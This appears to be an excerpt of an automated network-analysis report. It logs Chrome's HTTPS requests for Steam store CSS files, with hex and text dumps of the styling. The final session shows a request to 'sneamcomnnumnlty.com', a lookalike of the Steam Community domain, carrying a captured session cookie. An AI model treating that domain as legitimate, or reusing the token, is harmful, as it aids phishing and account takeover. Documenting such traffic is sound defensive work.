2024-10-06 11:20:53 UTC	15849	IN	Data Raw: 2d 72 6f 77 73 3a 20 61 75 74 6f 3b 0d 0a 20 20 20 20 67 72 69 64 2d 74 65 6d 70 6c 61 74 65 2d 61 72 65 61 73 3a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 69 6d 67 20 69 6d 67 20 6e 61 6d 65 20 6e 61 6d 65 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 69 6d 67 20 69 6d 67 20 70 72 69 63 65 20 70 72 69 63 65 22 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 75 6e 73 65 74 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 62 61 63 6b 67 72 6f 75 6e 64 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0d 0a 7d 0d 0a 2e 70 6f 70 75 70 5f 62 6f 64 79 2e 73 65 61 72 63 68 5f 76 32 20 2e 6d 61 74 63 68 2e 6d 61 74 63 68 5f 76 32 20 2e 6d 61 74 63 68 5f 6e 61 6d 65 20 7b 0d 0a 20 20 20 20 67 72 69 64 2d 61 72 65 61 3a 20 6e 61 6d 65 3b 0d 0a 20 20 Data Ascii: -rows: auto; grid-template-areas: "img img name name" "img img price price"; height: unset; transition: background 0.2s ease-in-out;}.popup_body.search_v2 .match.match_v2 .match_name { grid-area: name;
2024-10-06 11:20:53 UTC	16384	IN	Data Raw: 6f 76 65 72 20 2e 61 64 64 69 74 69 6f 6e 61 6c 5f 63 61 72 74 5f 64 69 73 63 6f 75 6e 74 2c 0d 0a 2e 73 74 6f 72 65 5f 63 61 70 73 75 6c 65 3a 68 6f 76 65 72 20 2e 61 64 64 69 74 69 6f 6e 61 6c 5f 63 61 72 74 5f 64 69 73 63 6f 75 6e 74 2c 0d 0a 2e 68 6f 6d 65 5f 6d 61 72 6b 65 74 69 6e 67 5f 6d 65 73 73 61 67 65 3a 68 6f 76 65 72 20 2e 61 64 64 69 74 69 6f 6e 61 6c 5f 63 61 72 74 5f 64 69 73 63 6f 75 6e 74 2c 0d 0a 2e 73 74 6f 72 65 5f 63 61 70 73 75 6c 65 2e 62 72 6f 61 64 63 61 73 74 5f 63 61 70 73 75 6c 65 3a 68 6f 76 65 72 20 63 20 7b 0d 0a 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 61 6e 69 6d 61 74 65 50 72 69 63 65 31 31 64 65 67 3b 0d 0a 7d 0d 0a 0d 0a 2e 73 6d 61 6c 6c 5f 63 61 70 3a 68 6f 76 65 72 20 2e 61 64 64 69 74 69 6f 6e 61 6c 5f Data Ascii: over .additional_cart_discount,.store_capsule:hover .additional_cart_discount,.home_marketing_message:hover .additional_cart_discount,.store_capsule.broadcast_capsule:hover c {animation-name: animatePrice11deg;}.small_cap:hover .additional_
2024-10-06 11:20:53 UTC	939	IN	Data Raw: 0a 09 7b 0d 0a 09 09 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 09 09 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 5a 28 30 64 65 67 29 20 73 63 61 6c 65 28 2e 33 29 3b 0d 0a 09 7d 0d 0a 0d 0a 09 32 30 25 0d 0a 09 7b 0d 0a 09 09 6f 70 61 63 69 74 79 3a 20 31 3b 0d 0a 09 09 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 5a 28 33 36 30 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 0d 0a 09 7d 0d 0a 0d 0a 09 34 30 25 0d 0a 09 7b 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 09 09 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 5a 28 37 32 30 64 65 67 29 20 73 63 61 6c 65 28 2e 33 29 3b 0d 0a 09 7d 0d 0a 0d 0a 09 31 30 30 25 0d 0a 09 7b 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 09 09 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 5a 28 37 32 Data Ascii: {opacity: 0;transform: rotateZ(0deg) scale(.3);}20%{opacity: 1;transform: rotateZ(360deg) scale(1);}40%{ opacity: 0;transform: rotateZ(720deg) scale(.3);}100%{ opacity: 0;transform: rotateZ(72
2024-10-06 11:20:53 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 59 65 6c 6c 6f 77 74 61 69 6c 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 09 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0d 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 38 70 78 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 46 42 46 36 46 30 3b 0d 0a 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 32 70 78 20 33 70 78 20 30 70 78 20 23 44 33 35 31 31 30 3b 0d 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 7d 0d 0a 0d 0a 2e 73 75 6d 6d 65 72 73 61 6c 65 32 30 32 30 5f 73 75 70 65 72 73 61 76 69 6e 67 73 5f 6c 61 62 65 6c 0d 0a 7b 0d 0a 09 77 69 64 74 68 3a 20 66 69 74 2d 63 6f 6e 74 65 6e 74 Data Ascii: 00004000font-family: "Yellowtail", sans-serif;font-style: normal;font-weight: normal;font-size: 38px;color: #FBF6F0;text-shadow: 2px 3px 0px #D35110;text-align: center;}.summersale2020_supersavings_label{width: fit-content
2024-10-06 11:20:53 UTC	12	IN	Data Raw: 69 64 74 68 3a 20 31 30 30 25 0d 0a Data Ascii: idth: 100%
2024-10-06 11:20:53 UTC	4644	IN	Data Raw: 30 30 30 30 31 32 31 38 0d 0a 3b 20 2f 2a 20 52 65 64 75 6e 64 61 6e 74 20 3f 3f 20 2a 2f 0d 0a 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 20 63 65 6e 74 65 72 3b 0d 0a 09 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 09 74 72 61 6e 73 69 74 69 6f 6e 3a 20 6f 70 61 63 69 74 79 20 33 30 30 6d 73 3b 0d 0a 09 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 72 65 65 6e 73 68 6f 74 5f 68 6f 76 65 72 5f 66 61 64 65 69 6e 20 34 73 20 6c 69 6e 65 61 72 3b 0d 0a 09 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 69 6e 66 69 6e 69 74 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 68 6f 76 65 72 5f 73 63 Data Ascii: 00001218; /* Redundant ?? */height: 100%;background-size: cover;background-position: center center;opacity: 0;transition: opacity 300ms;animation: screenshot_hover_fadein 4s linear;animation-iteration-count:infinite;}.hover_sc
2024-10-06 11:20:53 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 73 74 61 74 75 73 5f 6f 6e 6c 69 6e 65 20 2e 66 72 69 65 6e 64 5f 62 6c 6f 63 6b 5f 61 76 61 74 61 72 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 20 27 2f 70 75 62 6c 69 63 2f 69 6d 61 67 65 73 2f 63 6f 6d 6d 75 6e 69 74 79 6c 69 6e 6b 2f 69 63 6f 6e 68 6f 6c 64 65 72 5f 6f 6e 6c 69 6e 65 2e 6a 70 67 27 20 29 3b 0d 0a 7d 0d 0a 0d 0a 2e 66 72 69 65 6e 64 5f 73 74 61 74 75 73 5f 69 6e 2d 67 61 6d 65 20 2e 66 72 69 65 6e 64 5f 62 6c 6f 63 6b 5f 61 76 61 74 61 72 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 20 27 2f 70 75 62 6c 69 63 2f 69 6d 61 67 65 73 2f 63 6f 6d 6d 75 6e 69 74 79 6c 69 6e 6b 2f 69 63 6f 6e 68 6f 6c 64 65 72 5f 69 6e 67 61 6d 65 2e 6a 70 Data Ascii: 00004000status_online .friend_block_avatar {background-image: url( '/public/images/communitylink/iconholder_online.jpg' );}.friend_status_in-game .friend_block_avatar {background-image: url( '/public/images/communitylink/iconholder_ingame.jp
2024-10-06 11:20:53 UTC	12	IN	Data Raw: 65 61 64 65 72 20 2e 63 6f 6e 0d 0a Data Ascii: eader .con
2024-10-06 11:20:53 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 74 65 6e 74 20 7b 0d 0a 09 09 6d 69 6e 2d 77 69 64 74 68 3a 20 30 3b 0d 0a 09 09 77 69 64 74 68 3a 20 61 75 74 6f 3b 0d 0a 09 09 68 65 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 3b 0d 0a 09 7d 0d 0a 0d 0a 09 68 74 6d 6c 2e 72 65 73 70 6f 6e 73 69 76 65 2e 72 6e 5f 6d 6f 62 69 6c 65 5f 61 70 70 20 62 6f 64 79 2e 72 65 73 70 6f 6e 73 69 76 65 5f 73 74 6f 72 65 5f 6f 76 65 72 6c 61 79 5f 76 69 73 69 62 6c 65 20 7b 0d 0a 09 09 6f 76 65 72 66 6c 6f 77 2d 79 3a 20 68 69 64 64 65 6e 3b 0d 0a 09 09 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 09 09 2d 6d 73 2d 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 09 7d 0d 0a 0d 0a 09 68 74 6d 6c 2e 72 65 73 Data Ascii: 00004000tent {min-width: 0;width: auto;height: auto;margin-bottom: 0;}html.responsive.rn_mobile_app body.responsive_store_overlay_visible {overflow-y: hidden;touch-action: none;-ms-touch-action: none;}html.res

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49724	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:53 UTC	556	OUT	GET /public/css/v6/account.css?v=P2WLI8B6ddJe&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:53 UTC	355	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/css;charset=UTF-8 ETag: "oN4lh5QBn2Zd" Last-Modified: Fri, 17 Apr 1970 21:04:50 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, must-revalidate, max-age=0 Expires: Sun, 06 Oct 2024 11:20:53 GMT Date: Sun, 06 Oct 2024 11:20:53 GMT Content-Length: 22982 Connection: close
2024-10-06 11:20:53 UTC	16029	IN	Data Raw: 0d 0a 2e 6c 69 63 65 6e 73 65 52 6f 77 2c 20 2e 74 72 61 6e 73 61 63 74 69 6f 6e 52 6f 77 20 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 35 70 78 20 31 34 70 78 3b 0d 0a 09 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 30 30 30 30 30 30 3b 0d 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 6c 69 63 65 6e 73 65 52 6f 77 2e 65 76 65 6e 2c 20 2e 74 72 61 6e 73 61 63 74 69 6f 6e 52 6f 77 2e 65 76 65 6e 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 32 29 0d 0a 7d 0d 0a 0d 0a 2e 6c 69 63 65 6e 73 65 52 6f 77 2e 6f 64 64 2c 20 2e 74 72 61 6e 73 61 63 74 69 6f 6e 52 6f 77 2e Data Ascii: .licenseRow, .transactionRow {position: relative;padding: 5px 14px;border-bottom: 1px solid #000000;line-height: 18px;}.licenseRow.even, .transactionRow.even {background-color: rgba(0,0,0,0.2)}.licenseRow.odd, .transactionRow.
2024-10-06 11:20:53 UTC	6953	IN	Data Raw: 09 70 61 64 64 69 6e 67 3a 20 30 20 30 20 36 70 78 20 30 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 36 38 63 31 66 35 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 63 63 6f 75 6e 74 5f 68 65 61 64 65 72 5f 6c 69 6e 65 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 33 44 35 41 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 30 20 30 20 30 70 78 20 34 70 78 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0d 0a 0d 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 33 31 70 78 3b 0d 0a 0d 0a 0d 0a 09 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0d 0a 7d 0d 0a 0d 0a 2e 61 63 63 6f 75 6e 74 5f 68 65 61 64 65 72 5f 6c 69 6e 65 2e 6e 6f 69 63 6f 6e 20 7b 0d 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 32 70 78 3b 0d 0a 7d 0d 0a 0d 0a Data Ascii: padding: 0 0 6px 0;color: #68c1f5;}.account_header_line {background-color: #223D5A;padding: 0 0 0px 4px; font-size: 14px; line-height: 31px;color: #ffffff;}.account_header_line.noicon {padding-left: 12px;}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49722	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:53 UTC	553	OUT	GET /public/css/v6/cart.css?v=u2FIaietX6aF&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:53 UTC	392	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/css;charset=UTF-8 ETag: "PUI5e8sxLsB9" Last-Modified: Fri, 17 Apr 1970 21:04:50 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, must-revalidate, max-age=0 Expires: Sun, 06 Oct 2024 11:20:53 GMT Date: Sun, 06 Oct 2024 11:20:53 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 11:20:53 UTC	15992	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 2f 2a 20 43 53 53 20 44 6f 63 75 6d 65 6e 74 20 2a 2f 0d 0a 0d 0a 62 6f 64 79 2e 76 36 20 7b 0d 0a 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 4d 6f 74 69 76 61 20 53 61 6e 73 22 2c 20 53 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 20 2f 2a 20 6e 6f 72 6d 61 6c 20 2a 2f 0d 0a 0d 0a 09 09 7d 0d 0a 0d 0a 2e 74 6f 6f 6c 74 69 70 5f 71 5f 63 74 6e 20 7b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 2e 34 29 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 31 30 70 78 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b Data Ascii: 0000C000/* CSS Document /body.v6 {font-family: "Motiva Sans", Sans-serif;font-weight: normal; / normal */}.tooltip_q_ctn { background: rgba(255,255,255,0.4); color: white; border-radius: 10px; font-size: 11px;
2024-10-06 11:20:53 UTC	15850	IN	Data Raw: 62 65 6c 20 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 09 6c 65 66 74 3a 20 30 70 78 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 37 30 39 32 61 35 3b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 35 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 72 65 76 69 65 77 5f 72 6f 77 20 2e 72 65 76 69 65 77 5f 72 6f 77 5f 76 61 6c 75 65 20 7b 0d 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 33 35 70 78 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 43 36 44 34 44 46 3b 0d 0a 09 6d 69 6e 2d 68 65 69 67 68 74 3a 20 31 35 70 78 3b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 37 70 78 3b 09 09 0d 0a 7d 0d 0a 0d 0a 0d 0a 23 70 75 72 63 68 61 Data Ascii: bel {position: absolute;left: 0px;color: #7092a5;font-size: 13px;line-height: 15px;}.review_row .review_row_value {padding-left: 135px;color: #C6D4DF;min-height: 15px;font-size: 13px;line-height: 17px;}#purcha
2024-10-06 11:20:53 UTC	16384	IN	Data Raw: 64 64 69 6e 67 3a 20 31 36 70 78 3b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 70 78 3b 0d 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 4d 6f 74 69 76 61 20 53 61 6e 73 22 2c 20 53 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 20 2f 2a 20 6c 69 67 68 74 20 2a 2f 0d 0a 0d 0a 09 09 7d 0d 0a 0d 0a 2e 63 68 65 63 6b 6f 75 74 5f 63 6f 6e 74 65 6e 74 2e 63 61 72 74 5f 73 65 6e 64 5f 63 68 6f 69 63 65 20 70 20 7b 0d 0a 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 35 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 68 65 63 6b 6f 75 74 5f 63 6f 6e 74 65 6e 74 2e 63 61 72 74 5f 73 65 6e 64 5f 63 68 6f 69 63 65 20 70 20 65 6d 20 7b 0d 0a 09 66 6f 6e 74 2d 73 74 79 6c Data Ascii: dding: 16px;font-size: 13px;margin-top: 2px;font-family: "Motiva Sans", Sans-serif;font-weight: 300; /* light */}.checkout_content.cart_send_choice p {margin-top: 5px;}.checkout_content.cart_send_choice p em {font-styl
2024-10-06 11:20:53 UTC	938	IN	Data Raw: 2e 63 61 66 65 66 75 6e 64 65 64 69 6e 73 74 72 75 63 74 69 6f 6e 5f 68 65 61 64 65 72 20 2e 69 6e 73 74 72 75 63 74 69 6f 6e 5f 74 69 74 6c 65 20 7b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0d 0a 20 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 75 70 70 65 72 63 61 73 65 3b 0d 0a 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 32 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 61 66 65 66 75 6e 64 65 64 69 6e 73 74 72 75 63 74 69 6f 6e 20 2e 62 6c 6f 63 6b 20 7b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0d 0a 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 35 70 78 3b 09 0d 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0d 0a 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 3b 0d 0a 09 70 61 64 64 69 Data Ascii: .cafefundedinstruction_header .instruction_title { font-size: 18px; text-transform: uppercase; letter-spacing: 2px;}.cafefundedinstruction .block { font-size: 16px;margin-top: 5px;padding-left: 15px;padding-right: 15px;paddi
2024-10-06 11:20:53 UTC	8118	IN	Data Raw: 30 30 30 30 31 46 41 41 0d 0a 38 29 20 39 35 25 29 3b 0a 09 77 69 64 74 68 3a 20 32 37 31 70 78 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 31 32 70 78 20 31 32 70 78 20 31 35 70 78 20 31 32 70 78 3b 0d 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 70 78 3b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 23 62 74 6e 5f 72 65 6d 6f 74 65 5f 69 6e 73 74 61 6c 6c 3a 68 6f 76 65 72 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 2d 77 65 62 6b 69 74 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 20 74 6f 70 2c 20 72 67 62 61 28 31 36 34 2c 32 30 38 2c 37 2c 31 29 20 35 25 2c 20 72 67 62 61 28 31 30 37 2c 31 33 35 2c 35 2c 31 29 20 39 35 25 29 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6c 69 6e 65 61 72 2d Data Ascii: 00001FAA8) 95%);width: 271px;padding: 12px 12px 15px 12px;border-radius: 2px;text-decoration: none;}#btn_remote_install:hover {background: -webkit-linear-gradient( top, rgba(164,208,7,1) 5%, rgba(107,135,5,1) 95%);background: linear-
2024-10-06 11:20:53 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49727	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:54 UTC	570	OUT	GET /public/shared/css/shared_responsive.css?v=tzDCtkxeI-e5&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:54 UTC	340	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/css;charset=UTF-8 ETag: "tzDCtkxeI-e5" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=14104467 Expires: Tue, 18 Mar 2025 17:15:21 GMT Date: Sun, 06 Oct 2024 11:20:54 GMT Content-Length: 18486 Connection: close
2024-10-06 11:20:54 UTC	16044	IN	Data Raw: 0d 0a 2e 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 7d 0d 0a 0d 0a 62 6f 64 79 2e 6d 6f 76 65 73 63 72 6f 6c 6c 74 6f 63 6f 6e 74 65 6e 74 20 2e 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0d 0a 09 74 6f 70 3a 20 30 3b 0d 0a 09 72 69 67 68 74 3a 20 30 3b 0d 0a 09 62 6f 74 74 6f 6d 3a 20 30 3b 0d 0a 09 6c 65 66 74 3a 20 30 3b 0d 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 61 75 74 6f 3b 0d 0a 7d 0d 0a 0d 0a 62 6f 64 79 2e 6f 76 65 72 66 6c 6f 77 5f 68 69 64 64 65 6e 2c 0d 0a 62 6f 64 79 2e 6f 76 65 72 66 6c 6f 77 5f 68 69 64 64 65 6e 20 2e 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f Data Ascii: .responsive_page_frame {position: relative;}body.movescrolltocontent .responsive_page_frame {position: fixed;top: 0;right: 0;bottom: 0;left: 0;overflow: auto;}body.overflow_hidden,body.overflow_hidden .responsive_page_
2024-10-06 11:20:54 UTC	2442	IN	Data Raw: 74 65 72 20 2e 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 20 7b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 32 30 70 78 20 30 3b 0d 0a 7d 0d 0a 0d 0a 68 74 6d 6c 2e 66 6f 72 63 65 5f 64 65 73 6b 74 6f 70 20 62 6f 64 79 20 23 66 6f 6f 74 65 72 5f 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 73 70 61 63 65 72 20 7b 0d 0a 09 68 65 69 67 68 74 3a 20 36 34 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 20 2e 62 74 6e 5f 6d 65 64 69 75 6d 20 3e 20 73 70 61 6e 20 7b 0d 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 35 30 25 3b 0d 0a 7d 0d 0a 0d 0a 40 6d 65 64 69 61 20 73 63 72 Data Ascii: ter .responsive_optin_link {display: block;text-align: center;padding: 20px 0;}html.force_desktop body #footer_responsive_optin_spacer {height: 64px;}.responsive_optin_link .btn_medium > span {line-height: 150%;}@media scr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49730	104.21.91.169	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:54 UTC	1286	OUT	GET /7d1d7c577e075157564c615c430472585c57505e HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.2EbG2O8heJpgXD04CdFo3z5oza20B3yX.Q5ZKUzW4x33iwvzB.fUh88qnr3b_n-zQzcqktlzDwzGlLlI4SoZS0zy4sPlKx_OUmV90INFbeUUVVKBoZgsEt-fv1AT3qP0Xn-uX2loVfgBVF5YRi9bOOy4zf4C4ihtgFYUvnfJq1Y1Pxztilb3IS4v5XlbM6vTWJi9UKRQxvTizTdD9Qn8ypdV21DRATIDJpsYxMN3icekFfhXHb4xleMLS1fzjpAQhKb389H9hiYYDxxIVTru3oMB2jvPcIQ9E.4AJEn71EZf_PSfBORgPLXQ; 